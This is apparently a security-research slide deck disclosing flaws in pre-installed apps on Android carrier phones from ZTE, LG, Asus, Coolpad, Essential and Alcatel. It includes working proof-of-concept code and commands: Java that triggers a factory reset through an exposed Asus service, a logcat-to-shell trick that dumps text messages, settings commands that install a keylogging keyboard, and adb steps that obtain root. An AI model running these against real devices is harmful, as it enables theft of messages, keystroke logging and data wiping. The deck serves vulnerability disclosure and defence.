Vulnerable Out of the Box: An Evaluation of Android Carrier Devices

Ryan Johnson - Kryptowire
Angelos Stavrou - Kryptowire
Why Look for Cyber Threats?

Aggressive data collection
- Exfiltration of sensitive user-data to China (Adups)
- Sensitive data collection (OnePlus 5)

Remote system compromise
- System compromise from insecure network communications (Ragentek)

User data disclosure due to vendor modifications
- Samsung leaking log data (CVE-2017-7978)
- MediaTek leaking log data (CVE-2016-10135)

Local “root” privilege escalation
- Alcatel A30 (former Amazon Prime Exclusive Device)
- Leagoo P1
- Privileged EngineerMode app (OnePlus 5)
- Android 4.4 devices with a MediaTek chipset
Pre-installed Apps and Vendor OS Modification

Android devices contain a set of pre-installed apps
- May not be available on Google Play
- Some apps cannot be disabled
- Privileged platform apps

Pre-installed apps can be malicious and/or insecure
- Insecure apps can be locally or remotely exploited
- Malicious apps can provide “backdoor” functionality and may exfiltrate sensitive user data

Vendors generally modify Google’s official Android code to provide custom behavior
- (Un)intentionally expose sensitive capabilities

App Components

Fundamental functional blocks of an Android app

- Activity
- Broadcast Receiver
- Service
- Content Provider

Declared in the app’s manifest file

May provide accessible entry-points into an app for other apps to exploit by using Intents which are a message-like abstraction for communication within/between apps

- Contains Intent-specific fields and potentially embedded data
Exported App Components

Exported app components are **accessible to any process** on the device if there is no permission protection for the app component

- Regulated by the `android:exported` and `android:permission` app component attributes

Android will export components, **by default**, if the app component does not use the `android:exported` attribute and declares at least one `intent-filter`

```xml
<service android:name="com.asus.dm.installer.DMInstallerService">
  <intent-filter>
    <action android:name="com.asus.dm.installer.sync_apk_data"/>
    <action android:name="com.asus.dm.installer.startService"/>
    <action android:name="com.asus.dm.installer.download_app"/>
    <action android:name="com.asus.dm.DMService.app_install_start"/>
    <action android:name="com.asus.dm.DMService.app_install_result"/>
    <action android:name="com.asus.dm.DMService.registerConnectivity"/>
    <action android:name="com.asus.dm.installer.removeService"/>
  </intent-filter>
</service>
```

DMInstallerService will be exported **by default**
Threat Model

A low-privilege third-party app is installed on the device via app repackaging, phishing, remote exploit, etc.

- Possibly the `READ_EXTERNAL_STORAGE` permission is needed
- A malicious app without malicious permissions
Android Devices on US Carriers - Vulnerabilities

ZTE Blade Spark (sold by AT&T)
- Write modem and logcat logs to external storage

LG Phoenix 2 (sold by AT&T)
- Write logcat logs to app’s private directory
- Lock user out of their device

Asus ZenFone V Live (sold by Verizon)
- Command execution as system user
- Take and write screenshot to external storage

ZTE Blade Vantage (sold by Verizon)
- Write modem and logcat logs to external storage

Essential Phone (sold by Sprint)
- Programmatic factory reset

Coolpad Defiant (sold by T-Mobile)
- Send, read, and modify text messages
- Programmatic factory reset
- Obtain phone numbers of contacts

T-Mobile Revvl Plus (Coolpad) (sold by T-Mobile)
- Send, read, and modify text messages
- Programmatic factory reset
- Obtain phone numbers of contacts

ZTE ZMAX Pro (sold by T-Mobile)
- Send, read, and modify text messages
- Programmatic factory reset
- Obtain phone numbers of contacts
- Write modem and logcat log to external storage

LG G6 (sold by Multiple Carriers)
- Lock user out of their device
- Write logcat logs to app’s private directory

ZTE ZMAX Champ (sold by Total Wireless)
- Write modem and logcat logs to external storage
- Programmatic factory reset
- Make device continually crash in recovery mode (brick device)
ZTE – Modem Log and Logcat Log

Vulnerability allows any app to access text messages and call data and logcat logs
  – Can be activated by any app on the device
  – Transparent to the user (no notifications, toast messages, etc.)

Writes to a base directory of `/sdcard/sd_logs`
  – Modem log stored in `qmdl` format and logcat log in plaintext

Present in all the ZTE devices we examined
  – ZTE Blade Spark, ZTE Blade Vantage, ZTE ZMAX Pro, ZTE ZMAX Champ

Source: https://www.amazon.com/Unlocked-Fingerprint-Reader-Z971-Desbloqueado/dp/B0748Z1VJ3
Sample Data Leaked Through Logcat

Data written to the logcat log by any process

- Login credentials, tokens, etc.
- Body of incoming/outgoing text messages
- Phone number of incoming/outgoing calls
- GPS Coordinates
- Email Addresses
- Telephone number
- Cell Tower ID
- MAC Address
- Serial Number
- IMEI
- IMSI
- URLs
Exposing User Data Through Logcat Logs

Third-party Android apps cannot read the system-wide logcat log since Android 4.1 due to it containing sensitive user data

- Can only read the log messages they write
- System-wide log requires READ_LOGS permission

Pre-installed apps can expose log data to other apps

- Generally written to external storage (SD card), although a app’s private directory is also possible

Any app with the READ_EXTERNAL_STORAGE permission can read from external storage (i.e., SD card)

- Contains the user’s pictures, downloads, and arbitrary files

<table>
<thead>
<tr>
<th>Device</th>
<th>Carrier</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZTE Blade Spark</td>
<td>AT&amp;T</td>
</tr>
<tr>
<td>ZTE Blade Vantage</td>
<td>Verizon</td>
</tr>
<tr>
<td>ZTE ZMAX Pro</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>ZTE ZMAX Champ</td>
<td>Total Wireless</td>
</tr>
<tr>
<td>LG G6</td>
<td>Multiple Carriers</td>
</tr>
<tr>
<td>LG Phoenix 2</td>
<td>AT&amp;T</td>
</tr>
<tr>
<td>Vivo V7</td>
<td>Unlocked</td>
</tr>
<tr>
<td>LG X Power</td>
<td>Unlocked</td>
</tr>
<tr>
<td>LG Q6</td>
<td>Unlocked</td>
</tr>
<tr>
<td>Asus ZenFone 3 Max</td>
<td>Unlocked</td>
</tr>
<tr>
<td>Orbig Wonder</td>
<td>Unlocked</td>
</tr>
</tbody>
</table>
ZTE – Activating the Modem Log

2. `ModemService` request
3. `ModemService` IBinder
4. `ISdlogService Request`
5. `ISdlogService IBinder`
6. `configSdlog()` (function 24)
7. `enableLog()` (function 5)
8. `startLog()` (function 2)
9. Starts writing modem log to a base directory of `/sdcard/sd_logs`
ZTE – Modem Log – Text Messages

Outgoing text message to 7035758208 with a message of “Test. Can you text me back?”

Incoming text message from 7035758208 with a message of “Sucka” with a timestamp of 3:04:43pm on March 11, 2018
ZTE – Modem Log – Phone Calls

Incoming call from 7034227613

03d3eda0 10 00 7a 01 7a 01 c1 12 17 27 37 f5 c9 6a e0 00 |..z.z.....'7..j..|
03d3edb0 03 00 00 00 00 11 00 00 00 07 00 00 00 01 00 00 |.................|
03d3edc0 00 00 00 00 00 37 30 33 34 32 32 37 36 31 33 66 |.....7034227613f|
03d3edd0 50 11 00 00 f0 af 68 00 90 98 00 00 80 48 69 00 |P.....h......Hi.|
03d3ede0 d0 b6 e5 ff 00 00 00 00 40 86 02 00 10 f9 ff ff |.................|

Outgoing call to 18008648331

03334a20 80 a0 70 c5 c9 6a e0 00 03 38 00 00 00 11 00 00 |..p..j...8.......
03334a30 00 06 00 00 00 01 00 00 00 00 00 00 31 38 30 |.................180|
03334a40 30 38 36 34 38 33 33 31 00 00 54 0e 60 34 c6 1b |08648331..T.`4..|
03334a50 00 00 03 00 50 89 00 80 00 00 00 00 00 00 00 00 |.....P............|
03334a60 d0 06 7f 02 00 00 00 00 00 00 00 00 30 0d 28 0a |.................0.(.)|
LG Vulnerabilities

Obtain system-wide logcat log in attacking app’s private directory
  – Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2
  – Generally written to SD card, but using path traversal it can be written in the attacking app’s private directory

Lock user out of their device
  – Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2
  – Can only make emergency calls

Dump hidden database that contains snippets of logcat and kernel logs to external storage
  – Affects LG G6, LG Q6

Source: https://www.amazon.com/LG-G6-32-GB-Unlocked-Exclusive/dp/B07D2L7TS
LG – Read System-wide Logcat Log Via Command Line Argument Injection

Default command the `com.lge.gnsslogcat` app executes is `logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V`

By default it writes the logs to `/storage/emulated/0/gnsslog`, but it is vulnerable to a path traversal attack and can be made to write in an app’s private directory (file permission changes needed)

App allows log tags to be supplied via intent that get `:` appended to it which get added to the end of `logcat` command, so you can add `*:V Hidden` to get all log messages

Command line argument injection changes the command to `logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V *:V Hidden:V`
LG – Lock The User Out of Their Device

Screen lock is unresponsive except for making emergency calls

– Exported broadcast receiver in com.android.systemui app
  • Writes two values to the system settings and locks the screen
– Screen lock is active in safe mode
– Can be used for a crypto-less ransomware
– Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2

If Android Debug Bridge (ADB) is enabled prior to the screen lock attack, a user can remove the screen lock by sending a particular broadcast intent

– Otherwise, a factory reset is required to recover the device
Programmatic Factory Reset

A “factory reset” wipes all user data and apps from the device

Facilitated by privileged pre-installed apps
– Requires a co-located zero-permission app
– Does not require any user intervention

User data and app that are not externally backed-up is lost during a factory reset

<table>
<thead>
<tr>
<th>Device</th>
<th>Carrier</th>
</tr>
</thead>
<tbody>
<tr>
<td>Essential Phone</td>
<td>Sprint</td>
</tr>
<tr>
<td>Coolpad Defiant</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>T-Mobile Revvl Plus</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>ZTE ZMAX Champ</td>
<td>Total Wireless</td>
</tr>
<tr>
<td>Leagoo Z5C</td>
<td>Unlocked</td>
</tr>
<tr>
<td>Leagoo P1</td>
<td>Unlocked</td>
</tr>
<tr>
<td>Plum Compass</td>
<td>Unlocked</td>
</tr>
<tr>
<td>Orbic Wonder</td>
<td>Unlocked</td>
</tr>
<tr>
<td>MXQ TV Box 4.4.2</td>
<td>N/A</td>
</tr>
</tbody>
</table>
Sprint Essential Phone – Programmatic Factory Reset

1. Starts the RTNResetActivity activity app component
2. Sends the android.intent.action.MASTER_CLEAR broadcast intent

Any App On the Device

com.ts.android.hiddenmenu (Pre-installed Platform App)

system_server

3. MASTER_CLEAR broadcast intent received by com.android.server.MasterClearReceiver
4. android.os.RecoverySystem.rebootWipeUserdata(*) is called by MasterClearReceiver
5. Writes --wipe_data to /cache/recovery/command
6. Reboots into recovery mode and wipes /data and /cache
Asus ZenFone V Live – Command Execution as system User

AndroidManifest.xml file of the com.asus.splendidcommandagent app

```xml
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:sharedUserId="android.uid.system"
    package="com.asus.splendidcommandagent"
    platformBuildVersionCode="18"
    platformBuildVersionName="4.3.1-1425645">
    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
    <uses-permission android:name="android.permission.MANAGE_USERS"/>
    <application android:icon="@drawable/ic_launcher" android:label="@string/app_name"
        android:theme="@style/AppTheme">
        <service android:exported="true" android:name=".SplendidCommandAgentService"
            android:process="com.asus.services">
            <intent-filter>
                <action android:name="asus.splendid.intent.action.DO_COMMAND"/>
                <action android:name="com.asus.splendidcommandagent.ISplendidCommandAgentService"/>
            </intent-filter>
        </service>
        <service android:exported="true" android:name=".MonitorUserSwitchedService"
            android:process="com.asus.services"/>
    </application>
</manifest>
```
public void asus_zenfone_V_live_command_execution_as_system_user() {
    Intent i = new Intent();
    i.setClassName("com.asus.splendidcommandagent", "com.asus.splendidcommandagent.SplendidCommandAgentService");
    SplendidServiceConnection servConn = new SplendidServiceConnection();
    boolean ret = bindService(i, servConn, BIND_AUTO_CREATE);
    Log.i(TAG, "initService() bound with " + ret);
}

class SplendidServiceConnection implements ServiceConnection {
    public void onServiceConnected(ComponentName name, IBinder boundService) {
        Log.i(TAG, "onserviceConnected");
        Parcel send = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        send.writeInterfaceToken("com.asus.splendidcommandagent.ISplendidCommandAgentService");
        send.writeString("am broadcast -a android.intent.action.MASTER_CLEAR");
        try {
            boolean success = boundService.transact(1, send, reply, Binder.FLAG_ONEWAY);
            Log.i(TAG, "binder transaction success=" + success);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        send.recycle();
        reply.recycle();
    }

    public void onServiceDisconnected(ComponentName arg0) {
        Log.i(TAG, "onServiceConnected");
    }
}
User Capabilities on Android 7.1.1

- Video Record Screen of the user
- Take screenshots
- Factory reset the device
- Use logcat to obtain system-wide logs
- Set a custom keyboard with keylogging functionality
- Change settings configurations
- Register an app as a notification listener to get the user’s notifications
- Enable/disable apps
- Invert the screen colors

- Call (emergency) phone numbers
- Set a custom spell checker
- Change certain system properties
- Inject clicks, swipes, and text events in the GUI (emulate the user)
- Launch any app component that does not have `android:enabled` attribute set to false
- Read/modify user’s text messages
- Read/modify user’s call log
- Read/modify user’s contacts
## Sample of Asus Android Devices – Command Execution as `system` User

<table>
<thead>
<tr>
<th>Device</th>
<th>Status</th>
<th>Build Fingerprint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Asus ZenFone 3 Ultra</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_A001:7.0/NRD90M/14.1010.1711.64-20171228:user/release-keys</td>
</tr>
<tr>
<td>Asus ZenFone 4 Selfie</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_X00LD_3:7.1.1/NMF26F/14.0400.1802.190-20180202:user/release-keys</td>
</tr>
<tr>
<td>Asus ZenPad 10</td>
<td>Vulnerable</td>
<td>asus/JP_P00C/P00C_2:7.0/NRD90M/JP_P00C-V5.3.20-20171229:user/release-keys</td>
</tr>
<tr>
<td>Asus ZenPad 3 8.0</td>
<td>Vulnerable</td>
<td>asus/WW_P008/P008_1:7.0/NRD90M/WW_P008-V5.7.3-20180110:user/release-keys</td>
</tr>
<tr>
<td>Asus ZenPad S 8.0</td>
<td>Not Vulnerable</td>
<td>asus/WW_P01M/P01M:6.0.1/MMB29P/WW_P01M-V5.6.0-20170608:user/release-keys</td>
</tr>
</tbody>
</table>
## Asus ZenFone 3 (ZE552KL) – Timeline for the Command Execution as System User Vulnerability

<table>
<thead>
<tr>
<th>Target Market</th>
<th>Release Date</th>
<th>Status</th>
<th>Build Fingerprint</th>
<th>Target Market</th>
<th>Release Date</th>
<th>Status</th>
<th>Build Fingerprint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Japan</td>
<td>05/21/18</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>10/13/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>05/16/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>China</td>
<td>09/06/17</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>05/03/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Japan</td>
<td>08/08/17</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>04/19/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>08/03/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Japan</td>
<td>04/19/18</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>China</td>
<td>07/24/17</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>China</td>
<td>03/23/18</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
<td>Worldwide</td>
<td>07/14/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>03/14/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Italy</td>
<td>06/29/17</td>
<td>Vulnerable</td>
<td>asus/TIM_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>02/12/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Japan</td>
<td>05/17/17</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>China</td>
<td>02/12/18</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>04/21/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>01/29/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>China</td>
<td>03/31/17</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Japan</td>
<td>01/11/18</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Italy</td>
<td>03/28/17</td>
<td>Vulnerable</td>
<td>asus/TIM_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>01/08/18</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>03/08/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>12/22/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Japan</td>
<td>02/24/17</td>
<td>Not Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>12/15/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>China</td>
<td>01/09/17</td>
<td>Not Vulnerable</td>
<td>asus/CN_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Japan</td>
<td>11/22/17</td>
<td>Vulnerable</td>
<td>asus/JP_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>12/28/16</td>
<td>Not Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
<tr>
<td>Worldwide</td>
<td>11/21/17</td>
<td>Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.0.0/OFR1.170623.0</td>
<td>Worldwide</td>
<td>12/08/16</td>
<td>Not Vulnerable</td>
<td>asus/WW_Phone/ASUS_ZE552KL/0.1/BB29.13.20</td>
</tr>
</tbody>
</table>
@Override
public int onStartCommand(final Intent intent, int flags, int startId) {
    new Thread() {
        public void run() {
            if (intent == null) {
                stopSelf();
                return;
            }

            String action = intent.getStringExtra("action");
            if (action.isEmpty()) {
                action = intent.getAction();
            }

            Log.i("DropboxChmodService", "action = "+ action + "]");
            if (action.isEmpty()) {
                stopSelf();
                return;
            }

            try {
                Process process = Runtime.getRuntime().exec(action);
                Log.i("DropboxChmodService", "wait begin");
                process.waitFor();
                Log.i("DropboxChmodService", "wait end");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }.start();
    return super.onStartCommand(intent, flags, startId);
}

Intent i = new Intent();
i.setClassName("com.dropboxchmod", "com.dropboxchmod.DropboxChmodService");
i.setAction("/system/bin/screenrecord --time-limit 60 /sdcard/notascreenrecording.mp4");
startService(i);
Approach 1: Transfer Command Output Using a Broadcast Receiver

1. Choose log tag (e.g., UQ2h9hVRhLfg) and register a broadcast receiver with it as an action string

2. Write lines of the script with selected log tag to the logcat log from the attacking app

   Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
   Log.d("UQ2h9hVRhLfg", "content query --uri content://sms >
   /data/data/com.dropboxchmodx/msg.txt");
   Log.d("UQ2h9hVRhLfg", "am broadcast -a UQ2h9hVRhLfg -p <attacking app’s package name>
   --es data "$(cat /data/data/com.dropboxchmodx/msg.txt)"");

3. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it

   logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.dropboxchmodx/UQ2h9hVRhLfg.sh -d
   chmod 770 /data/data/com.dropboxchmodx/UQ2h9hVRhLfg.sh
   sh /data/data/com.dropboxchmodx/UQ2h9hVRhLfg.sh
Approach 2: Transfer Command Output Using a File in App’s Directory

1. Choose log tag with high entropy (e.g., UQ2h9hVRhLfg)

2. Make attacking app’s private directory world-executable and create a globally writable and readable file (msg.txt)

3. Write lines of the script with selected log tag to the log from the attacking app
   
   ```
   Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
   Log.d("UQ2h9hVRhLfg", "content query --uri content://sms > /data/data/com.attacking.app/msg.txt");
   ```

4. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it
   
   ```
   logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh -d
   chmod 770 /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
   sh /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
   ```
# Sample of Oppo Android Devices – Command Execution as system User

<table>
<thead>
<tr>
<th>Device</th>
<th>Country</th>
<th>Status</th>
<th>Build Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A77</td>
<td>China</td>
<td>Vulnerable</td>
<td>msm8953_64-user 7.1.1 NMF26F eng.root.20180609.153403 dev-keys</td>
</tr>
<tr>
<td>A59S</td>
<td>China</td>
<td>Vulnerable</td>
<td>full_opppo6750_15131-user 5.1 LMY47I 1525865236 dev-keys</td>
</tr>
<tr>
<td>A57</td>
<td>Philippines</td>
<td>Vulnerable</td>
<td>msm8937_64-user 6.0.1 MMB29M eng.root.20180508.104025 release-keys</td>
</tr>
<tr>
<td>R11</td>
<td>China</td>
<td>Vulnerable</td>
<td>sdm660_64-user 7.1.1 NMF26X eng.root.20180426.130343 release-keys</td>
</tr>
<tr>
<td>F3 Plus</td>
<td>Pakistan</td>
<td>Vulnerable</td>
<td>msm8952_64-user 6.0.1 MMB29M eng.root.20180413.004413 release-keys</td>
</tr>
<tr>
<td>A39</td>
<td>Australia</td>
<td>Vulnerable</td>
<td>full_opppo6750_16321-user 5.1 LMY47I 1520521221 release-keys</td>
</tr>
<tr>
<td>R9</td>
<td>China</td>
<td>Vulnerable</td>
<td>full_opppo6755_15111-user 5.1 LMY47I 1519426429 dev-keys</td>
</tr>
<tr>
<td>A77</td>
<td>Australia</td>
<td>Vulnerable</td>
<td>full_opppo6750_16391-user 6.0 MRA58K 1517824690 release-keys</td>
</tr>
<tr>
<td>F3</td>
<td>Vietnam</td>
<td>Vulnerable</td>
<td>full_opppo6750_16391-user 6.0 MRA58K 1517824690 release-keys</td>
</tr>
<tr>
<td>F3</td>
<td>Pakistan</td>
<td>Vulnerable</td>
<td>full_opppo6750_16391-user 6.0 MRA58K 1517824690 release-keys</td>
</tr>
<tr>
<td>R9</td>
<td>Australia</td>
<td>Vulnerable</td>
<td>full_opppo6755_15311-user 5.1 LMY47I 1516344361 release-keys</td>
</tr>
<tr>
<td>F5</td>
<td>Malaysia</td>
<td>Vulnerable</td>
<td>full_opppo6763_17031-user 7.1.1 N6F26Q 1516160348 release-keys</td>
</tr>
<tr>
<td>F1S</td>
<td>Australia</td>
<td>Vulnerable</td>
<td>full_opppo6750_15331-user 5.1 LMY47I 1509712532 release-keys</td>
</tr>
<tr>
<td>A37</td>
<td>India</td>
<td>Vulnerable</td>
<td>msm8916_64-user 5.1.1 LMY47V eng.root.20171008.172519 release-keys</td>
</tr>
<tr>
<td>R7 Plus</td>
<td>India</td>
<td>Not Vulnerable</td>
<td>msm8916_64-user 5.1.1 LMY47V eng.root.20160922.193102 dev-keys</td>
</tr>
<tr>
<td>Neo 5</td>
<td>Australia</td>
<td>Not Vulnerable</td>
<td>OPPO82_15066-user 4.4.2 KOT49H eng.root.146986786 dev-key</td>
</tr>
<tr>
<td>R7S</td>
<td>China</td>
<td>Vulnerable</td>
<td>msm8916_64-user 5.1.1 LMY47V eng.root.20160713.211744 dev-keys</td>
</tr>
<tr>
<td>R7 Plus</td>
<td>China</td>
<td>Not Vulnerable</td>
<td>full_opppo6795_15019-user 5.0 LRX21M 1465722913 dev-keys</td>
</tr>
</tbody>
</table>
Setting Your App as the Default Keyboard for Some Keylogging

Have the attacking app implement an Input Method Editor (IME)

```
/system/bin/settings put secure enabled_input_methods <ones that were already there>:com.my.app/.NotSomeKeyboardService
```

```
/system/bin/settings put secure default_input_method com.my.app/.NotSomeKeyboardService
```

Send key presses to the attacking app via a sending a broadcast intent to a dynamically-registered broadcast receiver

Can also set your app as the default spell checker

- Does not get the same amount of data as the “custom” keyboard

```
/system/bin/settings put secure selected_spell_checker com.my.app/.NotSomeSpellingService
```
Analysis Framework Workflow

**Forced-Path Execution**
- Unpack Firmware
- Parallel Execution of Apps
- Process Results to Flag Apps

**Static Analysis**
- Permission Analysis
- Taint Analysis
- Insecure Behavior Detection

**Dynamic Analysis**
- Native and Java hooking
- MITM and Network Traffic Capture
- NIAP Testing
Exposed Screenshot Capability

Certain vendors have modified the Android OS (system_server) to export the screenshot capability to any app on the device

- Alcatel A30, Asus Zenfone 3 Max, Leagoo P1, Nokia 6 TA-1025, Asus ZenFone V Live & Sony Xperia L1

Malicious apps can open apps to obtain sensitive data and examine active notifications

- Requires READ_EXTERNAL_STORAGE permission to access the screenshot and EXPAND_STATUS_BAR to view current notifications

Taking of a screenshot is not transparent to the user

- A screen animation is displayed and creates a notification
- Cannot be disabled, as the functionality lies within system_server
- Attacking app can cause a system crash to remove the notification
- Can bypass screen lock by using certain WindowManager.LayoutParams flags
Insecure Rich Communication Services (RCS) App

Exported interfaces allow zero-permission app to send arbitrary text messages, read and modify text messages, and obtain phone numbers of the user’s contacts

App has two different package names, where one is a refactored version of the other
- com.rcs.gsma.na.sdk
- com.suntek.mway.rcs.app.service

Affects 3 T-Mobile devices: Coolpad Defiant, T-Mobile Revvl Plus, and ZTE ZMAX Pro

App cannot be disabled

Source: https://www.t-mobile.com/devices/t-mobile-revvl-plus
Insecure Rich Communication Services (RCS) App

- **Send arbitrary text messages**
  
- **Obtain phone number of user’s contacts**
  
- **Read, modify, delete, and insert user’s text messages**

```xml
<receiver android:exported="true" android:name="com.rcs.gsma.na.test.TestReceiver">
    <intent-filter>
        <action android:name="com.rcs.gsma.na.sdk.TestReceiver"/>
    </intent-filter>
</receiver>


```
Programmatic factory reset

- com.zte.zdm.sdm app writes --wipe_data to /cache/recovery/command and boots into recovery mode and wipes /data and /cache

Obtain logcat and modem logs

- Done in the same way described as previously for ZTE

“Brick” Device

- Device will boot into recovery mode, try to factory reset, crash, and repeat and repeat some more
ZTE ZMAX Champ – Brick Device

1. Sends the `android.intent.action.FD_RESET` broadcast intent

2. Sends the `android.intent.action.MASTER_CLEAR_DATA_CARRIER` broadcast intent

3. `MASTER_CLEAR_DATA_CARRIER` broadcast intent received by `com.android.server.MasterClearReceiver`

4. `MasterClearReceiver` calls the non-AOSP API method of `android.os.RecoverySystem.rebootWipeUserdataAndCarrier(*)`

5. Writes the following data to the `/cache/recovery/command file`:
   - `--wipe_carrier`
   - `--shutdown_after`
   - `--reason=<reason>`
   - `--locale=<locale>`

6. Reboots into recovery mode and crashes while trying to erase `/data` and `/cache` and this step continually repeats
Unlocked Alcatel A30 – Local root Privilege Escalation

Alcatel A30 was an Amazon Prime Exclusive device
   – Had discounted price due to the inclusion of Amazon offers and ads

Certain read-only properties can be modified at runtime allowing a socket that accepts and executes arbitrary commands as the root user
   – Can be performed via ADB or pre-installed platform apps that execute as the system user

```
adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb root
adb shell setenforce 0
adb shell
```

Source: https://www.amazon.com/gp/product/B01NC2RECJ
Unlocked Alcatel A30 – Socket that Executes Commands as root

Once the `ro.debuggable` property is set to 1, then a world-writable socket named `factory_test` gets created (third-party apps will be blocked from writing to it by SELinux)

– Receives and executes commands as root

The system user, including platform apps, can change the `ro.debuggable` property so that the `factory_test` socket gets created

```bash
on property:ro.debuggable=1
  start bt_wlan_daemon

service bt_wlan_daemon /system/bin/factory_test
  user root
  group root
  oneshot
  seclabel u:r:bt_wlan_daemon:s0

MICKEY6US:/dev/socket # ls -al
  total 0
  drwxr-xr-x  7 root root  760 2017-05-10 17:58 .
  drwxr-xr-x 15 root root  4220 2017-05-10 17:55 ..
  srw-rw----  1 system system  0 2017-05-10 17:58 abdd
  srw-rw----  1 root  inet  0 1970-11-08 00:12 cnd
  srw-rw----  1 root  mount  0 1970-11-08 00:12 cryptd
  srw-rw----  1 root  inet  0 1970-11-08 00:12 dnsproxyd
  srw-rw----  1 root system  0 1970-11-08 00:12 dpmd
  srw-rw----  1 system  inet  0 1970-11-08 00:12 dpmwrapper
  srw-rw-rw-  1 root root  0 2017-05-10 17:58 factory_test
```
Takeaways - Towards More Secure Apps

Don’t export app components unnecessarily - enforce proper access control

Don’t assume apps without an accompanying Android Definition Interface Language (AIDL) file cannot interact with a bound service...they can

Filter commands when allowing command execution as system user

Make it easier to report vulnerabilities by having a common email address such as security@<vendor>.com

Thanks for attending and read our full report for more details! (email at oem@kryptowire.com)
Leagoo P1 & Leagoo Z5C (Unlocked)

